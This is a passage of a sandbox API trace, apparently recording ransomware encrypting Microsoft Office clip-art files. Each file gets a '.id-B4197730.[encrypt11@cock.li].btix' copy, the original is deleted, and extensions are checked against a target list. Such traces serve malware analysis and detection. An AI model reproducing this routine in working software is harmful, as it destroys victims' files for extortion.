0x0 [0134.812] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4278, lpOverlapped=0x0) returned 1 [0134.817] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4280, lpOverlapped=0x0) returned 1 [0134.818] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.818] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.819] SetEndOfFile (hFile=0x4c0) returned 1 [0134.819] CloseHandle (hObject=0x4c0) returned 1 [0134.819] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.819] SetEndOfFile (hFile=0x52c) returned 1 [0134.822] CloseHandle (hObject=0x52c) returned 1 [0134.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.823] lstrlenW (lpString=".doc") returned 4 [0134.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString=".docx") returned 5 [0134.823] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0134.823] lstrlenW (lpString=".pdf") returned 4 [0134.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString=".xls") returned 4 [0134.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.823] lstrlenW (lpString=".xlsx") returned 5 [0134.823] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0134.823] lstrlenW (lpString=".ppt") returned 4 [0134.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.823] lstrlenW (lpString=".zip") returned 4 [0134.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.823] lstrlenW (lpString=".rar") returned 4 [0134.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString=".bz2") returned 4 [0134.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString=".7z") returned 3 [0134.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.823] lstrlenW (lpString=".dbf") returned 4 [0134.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.823] lstrlenW (lpString=".1cd") returned 4 [0134.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".jpg") returned 4 [0134.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".doc") returned 4 [0134.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString=".docx") returned 5 [0134.824] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0134.824] lstrlenW (lpString=".pdf") returned 4 [0134.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString=".xls") returned 4 [0134.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.824] lstrlenW (lpString=".xlsx") returned 5 [0134.824] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0134.824] lstrlenW (lpString=".ppt") returned 4 [0134.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".zip") returned 4 [0134.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.824] lstrlenW (lpString=".rar") returned 4 [0134.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString=".bz2") returned 4 [0134.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString=".7z") returned 3 [0134.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".dbf") returned 4 [0134.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".1cd") returned 4 [0134.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0134.824] lstrlenW (lpString=".jpg") returned 4 [0134.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.825] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.825] lstrlenW (lpString="J0086426.WMF") returned 12 [0134.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.825] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21782) returned 1 [0134.826] CloseHandle (hObject=0x52c) returned 1 [0134.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0134.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.826] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.826] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.827] GetLastError () returned 0x0 [0134.827] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x5516, lpOverlapped=0x0) returned 1 [0134.829] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x5520, lpOverlapped=0x0) returned 1 [0134.831] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.831] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.831] SetEndOfFile (hFile=0x4c0) returned 1 [0134.831] CloseHandle (hObject=0x4c0) returned 1 [0134.831] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.831] SetEndOfFile (hFile=0x52c) returned 1 [0134.833] CloseHandle (hObject=0x52c) returned 1 [0134.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0134.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.834] lstrlenW (lpString=".doc") returned 4 [0134.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.834] lstrlenW (lpString=".docx") returned 5 [0134.834] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0134.834] lstrlenW (lpString=".pdf") returned 4 [0134.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.834] lstrlenW (lpString=".xls") returned 4 [0134.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.834] lstrlenW (lpString=".xlsx") returned 5 [0134.834] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0134.834] lstrlenW (lpString=".ppt") returned 4 [0134.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".zip") returned 4 [0134.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.835] lstrlenW (lpString=".rar") returned 4 [0134.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString=".bz2") returned 4 [0134.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString=".7z") returned 3 [0134.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".dbf") returned 4 [0134.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".1cd") returned 4 [0134.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".jpg") returned 4 [0134.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".doc") returned 4 [0134.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString=".docx") returned 5 [0134.835] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0134.835] lstrlenW (lpString=".pdf") returned 4 [0134.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString=".xls") returned 4 [0134.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.835] lstrlenW (lpString=".xlsx") returned 5 [0134.835] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0134.835] lstrlenW (lpString=".ppt") returned 4 [0134.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.835] lstrlenW (lpString=".zip") returned 4 [0134.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.835] lstrlenW (lpString=".rar") returned 4 [0134.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.836] lstrlenW (lpString=".bz2") returned 4 [0134.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.836] lstrlenW (lpString=".7z") returned 3 [0134.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.836] lstrlenW (lpString=".dbf") returned 4 [0134.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.836] lstrlenW (lpString=".1cd") returned 4 [0134.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0134.836] lstrlenW (lpString=".jpg") returned 4 [0134.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.836] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.836] lstrlenW (lpString="J0086428.WMF") returned 12 [0134.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.837] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=35346) returned 1 [0134.837] CloseHandle (hObject=0x52c) returned 1 [0134.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0134.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.837] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.837] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.838] GetLastError () returned 0x0 [0134.838] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0135.158] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0135.159] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.159] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.159] SetEndOfFile (hFile=0x4c0) returned 1 [0135.160] CloseHandle (hObject=0x4c0) returned 1 [0135.160] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.160] SetEndOfFile (hFile=0x52c) returned 1 [0135.162] CloseHandle (hObject=0x52c) returned 1 [0135.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0135.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.729] lstrlenW (lpString=".doc") returned 4 [0135.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.729] lstrlenW (lpString=".docx") returned 5 [0135.729] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0135.729] lstrlenW (lpString=".pdf") returned 4 [0135.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.729] lstrlenW (lpString=".xls") returned 4 [0135.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.729] lstrlenW (lpString=".xlsx") returned 5 [0135.729] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0135.729] lstrlenW (lpString=".ppt") returned 4 [0135.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.729] lstrlenW (lpString=".zip") returned 4 [0135.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.729] lstrlenW (lpString=".rar") returned 4 [0135.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.729] lstrlenW (lpString=".bz2") returned 4 [0135.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.729] lstrlenW (lpString=".7z") returned 3 [0135.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.730] lstrlenW (lpString=".dbf") returned 4 [0135.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.730] lstrlenW (lpString=".1cd") returned 4 [0135.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.730] lstrlenW (lpString=".jpg") returned 4 [0135.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.773] lstrlenW (lpString=".doc") returned 4 [0135.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.773] lstrlenW (lpString=".docx") returned 5 [0135.773] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0135.773] lstrlenW (lpString=".pdf") returned 4 [0135.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString=".xls") returned 4 [0135.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.774] lstrlenW (lpString=".xlsx") returned 5 [0135.774] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0135.774] lstrlenW (lpString=".ppt") returned 4 [0135.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.774] lstrlenW (lpString=".zip") returned 4 [0135.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.774] lstrlenW (lpString=".rar") returned 4 [0135.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString=".bz2") returned 4 [0135.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString=".7z") returned 3 [0135.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.774] lstrlenW (lpString=".dbf") returned 4 [0135.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.774] lstrlenW (lpString=".1cd") returned 4 [0135.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0135.774] lstrlenW (lpString=".jpg") returned 4 [0135.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.774] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.774] lstrlenW (lpString="J0090781.WMF") returned 12 [0135.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0136.234] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5314) returned 1 [0136.234] CloseHandle (hObject=0x4c8) returned 1 [0136.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0136.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0136.235] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.235] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0136.236] GetLastError () returned 0x0 [0136.236] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0136.251] WriteFile (in: hFile=0x554, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x14d0, lpOverlapped=0x0) returned 1 